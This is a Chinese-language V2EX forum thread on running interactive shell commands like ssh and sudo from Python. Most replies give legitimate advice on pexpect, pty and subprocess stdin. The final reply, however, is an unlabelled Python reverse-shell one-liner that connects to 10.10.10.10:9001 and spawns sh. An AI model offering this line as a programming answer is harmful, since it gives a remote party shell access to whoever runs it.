V2EX = way to explore
V2EX 是一个关于分享和探索的地方
Sign Up Now
For Existing Member  Sign In
• 请不要在回答技术问题时复制粘贴 AI 生成的内容
monetto
V2EX  ›  程序员

Python 如何运行有交互的 Shell 命令

  •  
  •   monetto · Oct 16, 2022 · 2732 views
    This topic created in 1296 days ago, the information mentioned may be changed or developed.

    运行单次命令的时候,一开始用的是 popen()

    后来用的是 subprocess.Popen('/bin/sh', shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT),因为这样可以获取上下文。 (例如 export a=5, echo a)

    但是这样还是运行不了 ssh 或者 sudo su 等有交互式的命令,有什么好的方法可以解决吗

    ( PS: 我知道有 ssh 或者 sudo 的附带密码方案,但是这样解决不了所有的交互式问题)

    7 replies    2022-10-17 09:49:43 +08:00
    cxtrinityy
        1
    cxtrinityy  
       Oct 16, 2022
    import pty;pty.spawn("/bin/sh")
    cxtrinityy
        2
    cxtrinityy  
       Oct 16, 2022
    @cxtrinityy 可能理解错了, 请忽略
    bantianys
        3
    bantianys  
       Oct 16, 2022
    pexpect 这个模块能满足需求吗?
    LindsayZhou
        4
    LindsayZhou  
       Oct 16, 2022
    如果你是要手动敲,stdin 参数可以用 sys.stdin 。
    如果你是要自动输,我记得返回的对象有个 stdin 属性可以往里写东西。

    如果你要是用 asyncio 包,还可以自己继承 Protocol ,重写 pipe_data_received 方法。这个没什么文档,你要翻 py 源码。
    LindsayZhou
        5
    LindsayZhou  
       Oct 16, 2022   ❤️ 1
    # 4

    关于自动响应。
    如果你感兴趣,我的代码里是用的重写 SubprocssProtocol 的方式: https://git.sr.ht/~lindsay/poke/tree/master/item/poke/context.py

    入口是 Context.shell 函数,Watcher 对象是一个简单的包装,只有用来匹配的正则,上次匹配位置(避免重复匹配),自动响应文本。

    invoke 包里也有一个 responder 类,不过它的实现方法更麻烦,好像另外起了一个线程来监听输出。
    leonshaw
        6
    leonshaw  
       Oct 16, 2022
    开个 pty ,slave 给到子进程,master 上读写
    jindom
        7
    jindom  
       Oct 17, 2022
    import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")
    About   ·   Help   ·   Advertise   ·   Blog   ·   API   ·   FAQ   ·   Solana   ·   2507 Online   Highest 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 72ms · UTC 06:48 · PVG 14:48 · LAX 23:48 · JFK 02:48
    ♥ Do have faith in what you're doing.